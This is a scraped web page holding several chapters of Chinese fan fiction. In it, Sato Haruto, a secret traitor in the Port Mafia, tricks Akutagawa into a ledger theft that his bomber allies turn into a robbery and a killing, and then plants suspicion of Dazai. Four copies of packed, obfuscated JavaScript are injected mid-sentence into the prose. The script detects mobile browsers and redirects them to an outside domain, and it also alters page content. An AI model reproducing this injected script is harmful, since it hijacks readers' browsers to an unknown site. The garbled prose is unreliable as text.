“今天还是好好休息吧,你才醒过来,别让你妹妹担心。”佐藤阳翔走进病房,果不其然收到了芥川龙之介不知是羞恼还是气愤的眼神,“正好,今天晚上可以和你说说写下来的工作。” 一提到工作,芥川龙之介一下子就正色了许多。 “太宰先生有什么吩咐么?” “嗯,有一堆脏活累活等着我们呢。”佐藤阳翔咬碎糖果,含糊道,“不过在此之前,你还有一件很重要的事情要做...” 芥川龙之介严肃:“什么事?” 佐藤阳翔拎起刚到的外卖,笑得很纯良:“吃饭啊!” 72 在吃过晚饭后,由于芥川龙之介本人的再三坚持,最终还是办理了出院手续。回到芥川家的时候,佐藤阳翔才发现几天前被面具男砸碎的门扉和墙壁都已经修缮好了——港口mafia的土建速度还是很快的,在遭袭当天就开始动工了。 佐藤阳翔把资料放在芥川龙之介面前:“关于那夜闯进来的那几个家伙,目前还没有头绪。但两人都是异能者,单看当时被破坏的现场,面具男应该拥有的是能够造成爆炸的异能,面具女则是精神系的异能者。” “另外,泄露你家具体位置的家伙应该权能不小,是干部级以上的可能性比较大,这件事查起来也很麻烦,总之——我们就先从A先生势力下的这间宝石商店查起...” 佐藤阳翔说着,突然感受到了对方探究的视线。 “怎么了?难道听见我们要调查干部,觉得害怕了?” “哼,笑话。”芥川龙之介双手环胸,语气冷淡,“只要是太宰先生的嘱托,在下都会不留余力地完成——但你既然说要调查干部,莫非太宰先生也在你的怀疑序列里?” “Bingo!”佐藤阳翔打了个响指,抽出了文件夹里的第二份资料,上面赫然挂着一张太宰治的照片。 芥川龙之介立刻斩钉截铁道:“不可能。” “嗯?为什么不可能?”佐藤阳翔拿起那份资料,仿佛在阐述着什么平平无奇的事,“作为你的直属上司,他泄露秘密的嫌疑才是最大的吧?” “...无稽之谈。”芥川龙之介抬眼,表情森然,“叛徒绝不可能是太宰先生,把你的态度放尊重一些。” 但佐藤阳翔并不买账:“就知道你不会怀疑你的顶头上司,所以这件事由我来做。” 他拿走太宰治的资料,放在了自己的面前。 奇异般的,原本总是在芥川示弱打嘴炮的佐藤阳翔,在说到这件事的时候语气间没有丝毫让步,那双金色的眼眸中充满了冷静,手指用力按在资料上,沉声道:“这件事关系重大——在你醒来以前,我去见过首领了。” 时间倒回至芥川龙之介昏迷期间。 在太宰治的引荐下,佐藤阳翔乘坐电梯来到了位于大楼顶层的首领办公室。他刚踏出电梯,面前紧闭的大门便“吱呀”一声自动打开了,只见坐在办公桌前的男人身着一身黑色西装,血色的眼睛居高临下地扫视了一眼门口的少年,露出了一个耐人寻味的笑容。 “首领。” 佐藤阳翔垂下眼眸,毕恭毕敬地朝他行了一礼。 森鸥外,掌控着整个港口mafia的男人——毫不夸张地说,这个男人即是横滨黑暗的核心,同时也是一名心狠手辣到,不择手段也要完成目标的男人。 “这还是我们第一次见面吧,佐藤君。”森鸥外双手交叠,露出了一个令人有些琢磨不透的笑容,“你的建议,我已经听太宰君说过了。但我更好奇的是——究竟是何等胆大包天的家伙,敢提出清查干部的意见。” 他虽然目光含笑,但眼中并没有丝毫笑意:“比起胆大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15024868|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包天,是不是用‘不惧死亡’来形容你更好呢?” “那恐怕要让您失望了。”佐藤阳翔叹气,“其实我很怕死,胆子也很小,但为了我们组织的未来,总得有人来做这种可以称得上是触及逆鳞的事。” “哦?看来你很有把握呢。”森鸥外靠回椅子上,目光犹如鹰隼般锐利,“如果你没能从干部中找到线索,那你该怎么办呢?” “你能承受触怒干部的后果吗?” 佐藤阳翔闻言,却眨了眨眼:“...我原本还以为您把我叫到这里来,是想阻止这场行动——但现在看来,似乎并非如此。如果这场行动能有首领您的首肯,那我想,拿到您期待的结果,应该不成问题。” 森鸥外果不其然露出了一个微笑。 “既然如此,那你就放手去做吧。”他在文件上签好名字——是一封许可秘密调查的手令,“但同样的,触怒龙鳞的后果由你来承担。届时,将没有任何人能救你。” 这也意味着,未来无论是粉身碎骨,还是万劫不复,港口mafia都将不会对他施以援手。 “我明白。”佐藤阳翔敛下眉眼,恭敬地举起双手接过手令,“无论如何,我都会一人承担。” 一人承担? 这种话,在芥川龙之介听来却像极了天方夜谭——一名【清洁小组】出身的底层无名小职工,竟敢大言不惭地在太宰先生与首领面前说自己会承担所有的后果。 而佐藤阳翔本人,似乎完全没有意识到自己做的是一件多么危险的事。每一名干部都有着自己的势力范围,真要把手伸到他们管辖的势力范围,如果查不出东西,那和自寻死路也没什么区别。 ——但佐藤阳翔的本意就是找死。 他可没有忘记,自己现在所在的时间并非【现实】,而是他的【过去】。真正的芥川龙之介还和他一起躺在传送口中的白茧里——佐藤阳翔已经在这里待了很久,也不知道这里和现实的时间流速是否一致。 如果他死了,那恰好能抓住机会重回现实;如果他死不了,那展开调查也就没什么好担心的,左不过是给自己身上增添几道伤口罢了。 更重要的是,他现在正需要随意调查的权利。 “龙之介,你难道不想知道是谁在出卖你和小银吗?”佐藤阳翔挑眉,表情轻松得就像是在问他接下来要看什么类型的电影一样,“抓住泄密者...这个契机可是很难得的。” 芥川龙之介沉默了。 佐藤阳翔虽然是个疯子,但他的话确实正中自己下怀——芥川龙之介很好地继承了港口mafia冷酷的血脉,从小在贫民窟摸爬滚打的经历让他变得睚眦必报。 他最大的底线就是自己的血亲。 他绝不允许任何伤害自己和妹妹的人活在世界上;更何况,这家伙还是港口mafia的叛徒——属于踩了他两次红线。 芥川龙之介沉默半晌,深深地看了他一眼:“...你想怎么做?” 40.第三十八章 73 佐藤阳翔的计划很简单,既然要查港口mafia干部身上的可疑之处,那就得先从底层入手。 以佐藤阳翔当卧底的经验,叛徒要与外部组织勾结,只放出几条无关紧要的情报当然是不够的——卷款逃跑的闳野次一郎就是最典型的例子,内外勾结必然涉及金钱交易,他们可以先从干部管辖范围内的商店入手。 最基础的就是调查资金流向,还有查账本。 “像A先生这样老练的商人,他管理的商店一般会准备两本账本。”佐藤阳翔说,“假账本用来应付检查,真账本则藏起来。” “前者拿了也没用,后者主要靠偷或者胁迫。” 现在佐藤阳翔的又不是十几岁的莽撞少年,他有接触A的经验和记忆——在他的印象里,A就是一名为了攫取钱财无所不用其极的家伙。 越是狡猾的商人,在钱财相关的问题上就越敏感。A能为港口mafia迅速积累起如此可观的财富,这些资金的来源自然也不会有多清白——被他私吞的部分肯定不少,但森鸥外愿意对此睁一只眼闭一只眼,就说明他也默认,A的这些行为能为组织带来最大利益。 “至于账本的位置——”佐藤阳翔说,“这倒不用担心,在你昏迷期间,我已经用自己的办法搞到了真账本的位置。” 芥川龙之介:...? 他之前怎么没发现佐藤阳翔有这么强的工作能力? 当然了,这其实只是一个借口。 佐藤阳翔现在自带情报buff,毕竟他有当双面间谍的经验,过去的自己当年就搞到了不少与A相关的消息;现在重新面对这些工作,就和做两遍一模一样的考题没什么区别,属于是降维打击,因此,记得真账本的位置自然也不是什么稀奇事。 “明天的行动时间很短。”佐藤阳翔说,“明天上午十点后,商店老板要外出谈生意,届时只有一名员工会待在在办公室守账本,我们有一个小时的时间,必要时可以用点非常手段。” 他把一把麻醉枪放在了桌上。 “账本的位置,明天我会告诉你。”佐藤阳翔竖起食指,“你可得小心一点,绝对不能用【罗生门】把整片区域都破坏掉,一旦动静太大造成两派对立的话,太宰先生也不好向首领交代吧。” 芥川龙之介其实不太愿意干这种偷鸡摸狗的事,他习惯了通过暴力执行任务,换句话来说,就是在任务过程中采取破坏性最强的手段最快达成目的——这种偷偷摸摸的行为着实不符港口mafia的形象,以及他的行事准则。 但既然是太宰先生的嘱托... 芥川龙之介没有吭声,意思就是默认同意了。 ——果然,要芥川龙之介干活的时候,时不时把太宰治搬出来真的非常好用。 “好,加班就到这里。”佐藤阳翔拍拍手,把东西都收了起来,“洗洗睡吧,剩下的事明天再说。” 芥川银见楼下的谈话结束了,这才从二楼走了下来,看着正在收拾资料的佐藤阳翔忍不住说:“那个...佐藤先生,如果你不介意的话,我拜托公司的人多给你运来了一张床...” 原以为又要睡沙发的佐藤阳翔眼前一亮:“哦?那真是谢谢小银了。” 夜袭当晚他熬了夜,毕竟那么狭窄的沙发压根不是人睡的位置,后来趁着肩膀受伤才在医院病床上浅眠了一会儿;在芥川龙之介苏醒前,佐藤阳翔都是在医院住的——幸而佐藤阳翔对住宿环境一点都不挑,能有个地方睡觉就行。 经过了当晚的夜袭和这么多天的接触,芥川银也逐渐放下了自己的警惕心,和佐藤阳翔的关系一下子就亲近了许多。 但是... “那张床放在哪了?” 芥川龙之介突然想到了一个很严重的问题——他家总共就两间卧室,因为下班后几乎不和同事接触,芥川龙之介也没有什么朋友,他家没有能借给外客住宿的房间。 男女有别,佐藤阳翔总不可能和自己的妹妹睡在一起,那也就是说——那张床放在了芥川龙之介的卧室里! “哥哥...那晚是佐藤先生救了我们...” “......” “而且佐藤先生前几天一直有帮忙照顾你...” “......” “佐藤先生的肩膀上还有伤...” 欠下人情的芥川龙之介,不得不忍耐地深吸一口气:“...只此一次。” 佐藤阳翔就这样住进了芥川龙之介的房间里。 但其实他也没什么需求,只要有床睡哪里都可以,如果芥川龙之介实在介意外人踏足自己的领地,佐藤阳翔愿意把床搬到客厅去——他也不太想老是见到芥川龙之介那张臭脸,允许自己进他的卧室里睡觉,整得和允许仇人进门似的。 但芥川龙之介不愿意在自己妹妹的面前出尔反尔。他斜睨了佐藤阳翔一眼,声音带着惯有的冷硬:“在下既然已经在银面前做出承诺,就不会轻易反悔。” 芥川龙之介的卧室很大,也很空旷。除了基本的住宿设施和几张收集来的古董字画外,整个空间再没有什么外物,显得十分清净;但佐藤阳翔乍然住进来,可活动的空间一下子就小了不少。 “话说,墙壁和窗户都修复好了呢。”佐藤阳翔环顾一圈,“我们社如果去干家装公司,肯定很有前途——一拨人负责毁坏拆迁,另一拨人负责修复,多好啊,能一下子赚两份工钱呢。” 这才过去几天,卧室内就已经完全看不出打斗的痕迹了。 芥川龙之介没有回应他的话。他直到现在还在看工作的相关书籍——真是身残志坚,如果佐藤阳翔是老板,一定会为有这样的员工而狂喜不已,但他偏偏是悲惨的同僚,每天累死累活,下班还要看着同事卷工作时长。 佐藤阳翔撑着下巴,无聊搭话:“你喜欢看书吗?” 在他的印象里,以前和芥川龙之介一起出任务的时候,偶尔能见到他看书。从贫民窟长大,缺乏教育经历的过去并没有导致芥川龙之介变成文盲,反而开始文绉绉地读起书来,这一点实在难得。 芥川龙之介本来嫌佐藤阳翔吵,他刚想开口让对方闭嘴,芥川银便敲响了房门。 “不好意思,打扰到你们了吗?”芥川银刚洗完澡,黑发湿漉漉的搭在肩头,看起来很像一只乖顺的小黑猫,在接收到佐藤阳翔的视线后,才后知后觉地觉得有些不好意思。 “那个...哥哥,我的头发...” “嗯,到客厅去吧。” 眼看芥川龙之介起身,佐藤阳翔也好奇地也跟了出去。只见芥川龙之介一本正经地拿出了放在柜子里的吹风机,看起来像是要做一件很重大的事,而芥川银则乖乖地坐在椅子上,像听话的人偶一般被哥哥吹着头发。 芥川龙之介的动作不算熟练,但很温柔——毕竟在加入港口mafia之前,他们从来没有用过这种东西,洗完头就放下来自然晾干好了;现在又是帮别人吹头发,芥川银时不时就会被烫得缩一下脖子。 客厅逐渐弥漫了一股蛋白质烧焦的味道。 啊...他把妹妹吹成炸毛小猫了。 佐藤阳翔杵在门边看了半晌,最终还是忍不住叹了一口气:“龙之介,你这样小银会不舒服的,把吹风机给我吧,我来教你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“从刚刚开始我就想说了,你顶着一头湿漉漉的头发不难受吗?”他说着,把还在愣神的芥川龙之介强行按进了椅子里,“快点坐下来,别让你妹妹担心。” 佐藤阳翔要给自己吹头发? “哥哥别担心,佐藤先生吹头发很舒服的。” “谢谢小银的用户反馈——虽然这样说会让我很像理发店的免费员工。” 佐藤阳翔打开暖风,手指温柔地在芥川龙之介的头发间穿梭——芥川龙之介的发质很软,之前佐藤阳翔趁他睡着的时候给他偷偷扎辫子,差点还没扎住。 芥川龙之介在被吹头发的时候很僵硬,像一具一旦移动,关节就会吱呀作响的木头人偶:他很不习惯被人触碰身体,包括头发;但他同时也不得不承认,佐藤阳翔的手法很温柔,几乎让他昏昏欲睡。 他之前还给谁吹过头发吗? 好奇,加上有点微妙地不爽,芥川龙之介突然产生了这种疑问。 随着吹风机的声音戛然而止,抚弄他头发的动作也停了下来。佐藤阳翔收好吹风机,垂下眼眸的时候显得格外温柔,甚至莫名其妙造成了一种堪称娴静的错觉。直到芥川银戳了戳自己的手臂,他才慢半拍地回过神来。 “哥哥,你很热吗?” “......?” “你的耳朵好红啊。” “......” 佐藤阳翔不知道芥川龙之介的心理活动,还以为他的耳朵纯粹是被自己开热风吹红的:“真的吗?我看看。” 他低下头,芥川龙之介立即就闻到了他身上沐浴露的香气——与自己用的是同一款。松松垮垮的衬衫下,修长的颈脖在没有扣紧的领口处暴露无遗,芥川龙之介随即感觉到,敏感的耳垂被小心翼翼地摩挲了一下。 他几乎要从椅子上跳起来。 “啊,真的很烫呢...那下次电吹风再拿远一点好了。” 佐藤阳翔的话音还没落下,芥川龙之介便已经仓皇而逃。 41.第三十九章 74 佐藤阳翔第二天早上醒来的时候,芥川龙之介早就已经洗漱完毕。佐藤阳翔真的很好奇,他是怎么做到两点睡六点起还坚持工作的——仅有四个小时的睡眠时间,居然能支撑他一整天的工作活力;而且佐藤阳翔起床后只看见了一壶泡好的茶,恍惚间好像已经过上了老年生活。 “...别告诉我你起得这么早只是为了工作。” 芥川龙之介递给了他一个奇怪的眼神,好像在说:这有什么问题吗? 佐藤阳翔被这人奇特的生活习惯打败了。他和东方仗助住久了,已经习惯在合住的时候一睁眼就见到早餐,现在乍然搬进芥川宅反而不太适应,只好认命地睁着惺忪睡眼开始翻找食材。 打开冰箱,第一层放的是茶叶和方糖。 第二层放的是茶叶和方糖。 第三层放的是茶叶和方糖。 第四层放的是茶叶和方糖。 ...... 佐藤阳翔转过头,不敢相信这么大个冰箱里什么食材都没有:“...龙之介啊,你家没有食物的吗?” “不需要这种东西。”他合上书,端起茶喝了一口。 “那早餐怎么办?” “也不需要。” “......” 老天,佐藤阳翔总算知道芥川龙之介为什么那么瘦了,而且他本人貌似还不觉得这样有什么问题——既不吃早饭,也不睡觉,身形消瘦,身患顽疾还坚持工作,佐藤阳翔已经很少见到把自己养得这么差的人了。 ——果然不能期待芥川龙之介有什么健康的生活习惯啊。 佐藤阳翔放弃抵抗,拿着一次性纸杯过来想蹭口茶水喝,结果茶水一入喉就是腻人的甘甜,再配合上茶叶本身的味道,简直有种毛骨悚然的古怪,差点就把茶水喷了出去:“你的茶怎么是甜的?!” 佐藤阳翔虽然也很喜欢吃甜的东西,但他还没有丧心病狂到会往茶叶里放方糖的地步——这种感觉超怪的! 他忍不住抬手摸了摸芥川龙之介的额头,确定皮肤的触感柔软冰冷:“没发烧啊,你是怎么想到把方糖和茶叶扔进一个壶里的?” 他的手刚碰到芥川龙之介的皮肤,少年就和触电了一般,立刻躲开他的触碰,扭过头咬牙道:“...不要碰在下的脸。” 嗯,果然现在的芥川还是个嘴硬的小孩子。 佐藤阳翔好笑地收回手:“好吧,你现在还在青春期嘛,敏感一点也正常。” “...你说什么?” “什么都没说哦~” 经过这段时间的接触,芥川龙之介可以肯定,佐藤阳翔就是个行为轻浮,举止无法无天的家伙——不仅喜欢对自己动手动脚,还总是做一些容易令人胡思乱想的事。 芥川龙之介不喜欢妨碍自己生活的家伙,所以他才会无意识地和佐藤阳翔对着干。 比如现在,佐藤阳翔说一句:“等上午工作完就一起去商店买点食材吧。” 芥川龙之介就会表示拒绝:“...不要。” “为什么?我们只是去商店买一点寻常的食材而已,吃了早饭才有力气工作啊。” “在下不吃早餐。” “可是我要吃啊。”佐藤阳翔理直气壮地说,“我才不要饿着肚子去上班。” “和在下有什么关系!太宰先生的任务还没有完成...” 类似这样的无营养话题还有很多,但说来说去这么多次,两个人之间居然也没有爆发真正意义上的争吵。芥川银听清他们的对话前,单看氛围和场景,还以为他们只是在争论今天的工作内容——结果居然只是在计划工作后要不要去逛商场。 有趣的是,芥川龙之介虽然总是摆出一副对佐藤先生唯恐避之不及的样子,但他拒绝了半天,从来没有主动提过一句要和佐藤阳翔分开行动的话。 “自从佐藤先生来了以后,家里就热闹了很多呢。”芥川银眨眨眼,“不然,哥哥还是多和佐藤先生一起去逛逛吧?” 芥川银其实也不吃早餐。毕竟以前在贫民窟,每天能吃上饭就已经很不错了。 他们兄妹两人相依为命,在一定程度上保留了过去的生活习惯,加上两人都不是话痨,早上的家总是寂静又灰暗,甚至有时连面都见不到,他们就要因为工作匆匆分开。 如果平常有佐藤先生陪着哥哥的话,哥哥也不会觉得孤单了吧? 佐藤阳翔得意洋洋:“你看吧,小银也是这么建议的!” “...不要替在下擅自做决定。”芥川龙之介忍无可忍,“还有,你到底打算把工作磨蹭到什么时候?!” 75 时间很快来到十点。 佐藤阳翔与芥川龙之介来到宝石商店外蹲点,果不其然看见了匆忙外出谈生意的老板。这家店的规模不大,并且位置偏僻,但营业额却远超其他同规模的商店,佐藤阳翔猜测,他们做的生意可能不仅仅是宝石生意那么简单。 “你的意思是,借宝石生意向外兜售情报?” “不排除这个可能。”佐藤阳翔一边套着手套,一边说,“毕竟商店的老板是A的直系下属,如果他真的在背地里向外贩卖情报,那我们就【中奖】了。” 等芥川龙之介皱着眉头戴好手套,佐藤阳翔才把麻醉枪塞进了芥川龙之介的手里,然后竖起了一个大拇指:“账本就藏在室内第三格的天花板里,你用这个把人放倒,进去后别忘了先摧毁摄像头,我会在外面给你把风。” 芥川龙之介其实对他这种草率的计划持以怀疑的观点——毕竟账本的位置全靠佐藤阳翔上下嘴唇一碰,完全没有有力的证据做支撑,而自己应该也是疯了,才会真的跟他过来偷账本。 其中缘由究竟是为了完成太宰先生的嘱托,还是心甘情愿地跟着佐藤阳翔胡闹,芥川龙之介自己都分不清楚。 等芥川龙之介消失在了佐藤阳翔的视野中,佐藤阳翔脸上的信任才像一层外壳般瘪了下去。他靠在墙壁旁大大咧咧地摆弄着手机,一副百无聊赖的样子,好像完全不在意芥川龙之介是否会被发现。 “上午好,卧底男孩。” 下一刻,佐藤阳翔的肩膀就被什么人拍了拍。 来人是一名拥有着幽深眼眸的女人,她的头上戴着一顶随时可以被拉下来的面具——如果芥川银在场,马上就能凭借那双眼睛认出,来人就是那天夜里在门口敲门的女人。 在佐藤阳翔没注意到之前,艾莎已经站在后面歪着脑袋偷看了很久他的手机页面——发现佐藤阳翔居然有闲功夫玩消灭星星,还是破解版的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037980|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “不对,Haruto(阳翔),你刚刚应该先消除右上角的星星。”她挑起眉毛,“不然这两颗同色的小可怜就要分开了。” “玩个游戏而已,有让你这么感慨万千吗?”佐藤阳翔收起手机,“还有,你们在和我说话以前能先打个招呼吗?万一芥川临时折返回来看见我们在聊怎么玩消灭星星,我们就死定了。” “说了很多次,是‘你’,不是‘我们’。”艾莎说着,把头顶的面具放了下来,只露出那双深邃的眼睛,“别担心了,Haruto(阳翔),你的小男朋友暂时回不来——瑞克在招待他呢。” 她的话音刚落,原本风平浪静的宝石商店内就爆发出了“砰”地一声爆炸,墙壁自里向外被一整个轰开,暴露在外的还有【罗生门】漆黑的棘刺,但它顷刻就消失得无影无踪了。 佐藤阳翔立刻夺过艾莎的耳麦,声音骤然变冷:“瑞克,把他弄伤合作就结束了。” 瑞克的指间旋转着一把小巧的麻醉枪——赫然是佐藤阳翔交给芥川龙之介的那一把。他居高临下地看了一眼地上已经陷入昏迷的少年——现在的芥川才加入港口mafia不久,【罗生门】远没有几年后那么强悍,加上他才出院,孱弱的身体根本不是瑞克的对手。 “真没意思。”瑞克啧了一声,强行按耐住了继续出拳的冲动,吐掉嘴里没有点燃的香烟,“你是他妈妈吗?男同真可怕。” “……” 他们提前收到了佐藤阳翔的消息,趁着商店老板带着绝大部分的护卫离开了,才来这里洗劫商铺——可以说,佐藤阳翔从一开始就没指望芥川龙之介真的能偷到账本,然而早早就联系好了预备背锅的炸弹恐怖组织。 反正他们身上的罪名已经够多了,也不差洗劫宝石商店和偷走账本这两条罪名。 艾莎用异能控制着被芥川龙之介提前用麻醉枪弄晕的员工,大大咧咧地搬运出了店内所有的名贵宝石,然后才让这名员工打开了藏在天花板第三格的保险箱,用指纹打开了锁。 瑞克拿起账本,丢进了佐藤阳翔的怀里。 “真不知道你要查这东西干什么?准备向警察检举港口mafia吗?”瑞克摊开手耸了耸肩膀,“这些宝石我们就收下了,下次如果还有生意记得找我们。” 佐藤阳翔收好账本,蹲在地上检查了一下芥川龙之介的状态,确定他只是因为麻醉剂而短暂地陷入昏迷后,才松了一口气。 佐藤阳翔在叛变后,短短几天就给他们提供了不少有用的情报。托他的福,组织最近的生意变得好做了不少。而且,这名年轻人比闳野次一郎要要好用得多:他不怕死,也不贪钱,除了芥川龙之介和他妹妹外,对谁的性命都不上心——还有比这种人更好的合作伙伴吗? 要知道,上一任的合作伙伴闳野次一郎就是起了贪念想要卷款出国,才被瑞克他们提前【处决】。 佐藤阳翔提出可以把宝石商店的所有东西交给他们,自己只打要留着一本账本就好——用他的话来说,这本账本会是佐藤阳翔未来在港口mafia活下去的“护身符”。 “你爱怎么处置都随你,我们只要钱就行。”艾莎哼笑一声,在确认货都被拿走后,她毫不留情地拔出枪,一枪就打爆了员工的脑袋,“现在,收工回家吧。” 42.第四十章 76 芥川龙之介醒来的时候,发现自己正躺在公园的椅子上,脑袋后面还垫着干净的西装外套。只套着一件平整白衬衫的佐藤阳翔无言地坐在他的身边,一边挽起袖子拉开了易拉罐的拉环,一边玩着手机游戏。 “嗯?你醒了啊。”他看了一眼刚坐起身的芥川龙之介,放下手机喝了一口手里的饮料,毫不嫌弃地将外套叠起搭在了小臂上。 芥川龙之介的记忆还停留在那座宝石商店里——他记得自己刚用麻醉枪放倒留守办公室的员工,弄坏监控后,门外就传来了巨大的爆炸声。 曾经在夜里偷袭过他家的面具男又如鬼魅般出现在了商店里,二话不说就与自己缠斗在了一起。 面具男的异能效果应该与强化□□有关,近距离肉搏对芥川龙之介来说无疑是不占上风的。 他使用【罗生门】企图拉开距离,但面具男的速度极快,在夺走自己手里的麻醉枪后,就一边说着难懂的西语,一边把麻醉针剂扎进了芥川龙之介的脖子。 人在失去意识之前,最后保留的是听觉——于是,芥川龙之介在最后失去意识之前,只听见对方“啧”了一声,然后用蹩脚的日语说了一句:“你是他妈妈吗?男同真可怕。” 单看这句话,当然会觉得非常突兀且意味不明——但芥川龙之介事后再想,对方一定在与什么人打电话,而且电话那头的身份很可能还是一名男同性恋者! (幸运的是,佐藤阳翔不知道他此刻的心理活动,否则非把嘴里的饮料都喷出来不可。) 战败对于年轻的祸犬来说是一种屈辱,而对手在战斗过程中还有闲心和别人打电话聊天,对芥川龙之介来说也是一种耻辱。 想到这里,他不由得咬紧了牙关,两次战斗失败的经历已经让这名年轻的mafia在心中燃起了熊熊的仇恨。 芥川龙之介刚想站起来,就发现自己的肌肉依旧酸软,一个不稳就险些栽倒在地上;幸而佐藤阳翔及时扶住了他的身体,把他又拉回了椅子上。 “别急着起来,你被人注射了麻醉剂,现在的药效还没完全过去,能这么早醒来都算你意志力坚强了。”佐藤阳翔叹了一口气,抬头望着湛蓝的晴空,表情十分遗憾,“我们被人摆了一道,账本也被那些家伙带走了。” 芥川龙之介一下子敏锐地捕捉到了“那些家伙”这几个字眼,当即意识到出现在现场的人不止面具男一人——他的第二反应就是去查看佐藤阳翔的情况。 但芥川龙之介在他的身上看不出有任何打斗过的痕迹,他的身上也没有明显的血迹。 芥川龙之介自己都没意识到,他在这一瞬间居然不自觉地松了一口气。 “在听见爆炸声后,我刚想去找你,就被□□放倒了。” 一说到这里,佐藤阳翔就不自觉地捏紧了手里的易拉罐,几乎把它的铝制外壳捏得变形,表情凝重道,“放倒我的是个戴着面具的女人,正是那天晚上用异能控制小银的那个人——我很快就失去了知觉。” “等我醒来的时候,整个宝石商店都被掏空了。店里的货品、藏在天花板里的账本都被他们带走了。”他说,“他们消失得很干净,连半枚鞋印都没留下。” 芥川龙之介没有吭声。 相较上一次,炸弹恐怖组织这次的行动处处充斥着诡异和不合理—— 他们是怎么发现自己和佐藤阳翔的行动轨迹的?在放倒他们两人后,他们为什么要留自己与佐藤阳翔一命?这场袭击表面上只是对宝石商店的洗劫,但他们为什么还带走了账本? 除非他们一直都在跟踪自己,否则这场行动根本就不可能如此巧合——当然,如果有叛徒在背后支持,就另当别论了。 “有人不希望我们查到账本,才泄露了我们的行踪;又或者,有人在一开始就跟踪我们——当然了,我不太支持后面这个猜想,因为我们都对此毫无察觉。” 如果是叛徒在私下作祟,那么既能掌握他们行踪,又不希望他们在这个节骨眼上死去的港口mafia高层还有谁呢? 一个荒诞的猜想突然在芥川龙之介的脑海中浮现。随后,那个人影便越来越清晰,他的名字甚至已经占据了芥川龙之介全部的思维。 太宰治。 即使芥川龙之介再怎么不愿意相信,再怎么不愿意怀疑,这个猜想仍在第一时间窜上了心头。 同样的,佐藤阳翔似乎也料到了他在想什么,金色的眼睛冷淡且嘲弄地注视着芥川龙之介,薄唇微启:“龙之介,你觉得是谁泄漏了我们的踪迹呢?” 芥川龙之介一个字都答不上来。 他只觉得自己如同掉入冰窟,又觉得自己像是戒掉香烟的瘾君子,否则他的手脚不会在这一刻不自觉地开始震颤发软。 在佐藤阳翔说出那个人的名字之前,他甚至一把拉过了对方的衬衫领口,企图阻止这个令他尊敬的名字被放上怀疑的天平。 佐藤阳翔垂下眼眸,目光非常温柔——这个距离太亲昵了,他甚至可以轻而易举地看穿芥川龙之介眼中的愤怒和抗拒,同时也能看到隐藏在其中的半信半疑。 啊,开始产生怀疑了呢。 “...别露出这么恐怖的表情嘛。”他放下饮料,拉开了芥川龙之介的手,然后慢条斯理地整理了一下自己被攥得皱巴巴的衣领,从长椅上站了起来。 “一切都还只是模糊的猜想而已。”佐藤阳翔耸耸肩膀,“我们压根没有证据。“ 但芥川龙之介知道,这句话并不意味着太宰治的嫌疑减轻,反而更加为他蒙上了一层叛徒的色彩。 “...在下自会为太宰先生正名。”芥川龙之介攥紧拳头,闭上眼睛,再度睁开时仿佛下定了某种决心,声音沙哑得吓人,“如果太宰先生某天真的背叛了港口mafia,在下会亲手解决他。” 佐藤阳翔不可置否地笑了笑。他了解人性,同时也了解该怎么摧毁人与人之间的信任,怀疑的种子一旦埋下,只要一个小小的契机,随时都可以破土而出。 这恰好就是佐藤阳翔想要的。 佐藤阳翔向芥川龙之介伸出手,唇角翘起了一个愉悦的弧度。 “走吧,别老想着工作的事了。”他语气轻松地说,“不是说好工作完要一起去逛商场的吗?小银说你喜欢无花果和红豆沙,我们多买一点回去吧。” 77 芥川银发现,今天哥哥的状态有些奇怪。 这个“奇怪”不是指他的行为举止异常,而是指他身上的氛围不太对劲。 这种不对劲的氛围是从他们执行秘密任务以后开始的——下班以后,哥哥和佐藤先生一起去逛了商场,带回了一大包她和哥哥都喜欢的食物,但芥川龙之介只是无言地发呆,看起来心情不太好。 芥川银关切地问道:“今天发生什么事了吗?” “没什么,别担心。”佐藤阳翔很绅士地替她打开了副座的车门,“小银今天工作也辛苦了——啊,不好意思,把购物袋放后座上吧。” 芥川银看着副驾驶座位上的超大购物袋,惊讶道:“看起来好像买 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053552|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了很多东西...” “我们今天买了很多无花果、红豆沙馅的甜品,还有蜜桔和葡萄。”佐藤阳翔说,“当然,刷的是龙之介的卡——【清洁小组】职员的工资和干部直属下属的工资可没法比...” “蜜桔吗?”芥川银的表情一瞬间变得有些古怪。 “怎么了吗?” “没...没什么,佐藤先生喜欢蜜桔吗?” “对,我的人生目标就是吃一辈子的蜜桔和葡萄。如果可以的话,我希望能吃到肚皮爆炸的程度。” 